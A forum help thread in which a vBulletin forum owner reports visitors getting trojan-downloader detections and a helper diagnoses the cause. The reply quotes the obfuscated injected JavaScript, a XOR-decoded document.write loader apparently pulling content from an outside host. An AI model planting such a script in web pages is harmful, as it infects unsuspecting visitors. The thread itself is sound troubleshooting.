My forum is giving people viruses.

[Cazzzidy]

Hello,

I'm running an outdated vBulletin 3.6.0 with vB Advanced CMPS 2.2.0 as a start portal.

Users are complaining that visits to the portal cause a virus to be downloaded to there temporary internet files. If the visitor is using anti-virus software, it will catch and delete the virus the second they visit the portal.

The viruses are:

Trojan-Downloader.JS.Psyme.hz
Trojan-Downloader.JS.Small.fs

Take a look at your own risk: http://www.190revolution.net

Both are apparently spyware apps. How is this happening? What caused it? And how can I fix it without upgrading my software?

Thanks,

Cassidy

[RS_Jelle]

There's some strange JavaScript on top of the HTML code of that page:

<script language="JavaScript">e = '0x00' + '19';str1 = "%A2%FA%F1%EC%86%EB%EA%E1%F2%FD%A5%B8%EC%F1%EB%F1%F8%F1%F2%F1%EA%E1%A0%FE%F1%FA%FA%FD%F4%B8%A4%A2%F1%FC%E8%F9%F5%FD%86%EB%E8%FB%A5%B8%FE%EA%EA%F6%A0%B7%B7%EA%F1%F6%F7%FB%F4%EA%B4%FB%F7%F5%B7%F2%FA%B7%F5%FD%F4%EA%B7%B8%86%EF%F1%FA%EA%FE%A5%A9%86%FE%FD%F1%FF%FE%EA%A5%A9%A4%A2%B7%F1%FC%E8%F9%F5%FD%A4%A2%B7%FA%F1%EC%A4";str=tmp='';for(i=0;i<str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCharCode((tmp.charCodeAt(0)^e)-127);}document.write(str);</script>

It could be placed on top of the adv_portal template or put there using a plugin. So check the template and your plugins for such strange code.

Btw: upgrade your vBulletin and vBadvanced CMPS to the latest version as there are some security holes fixed in later vBulletin releases.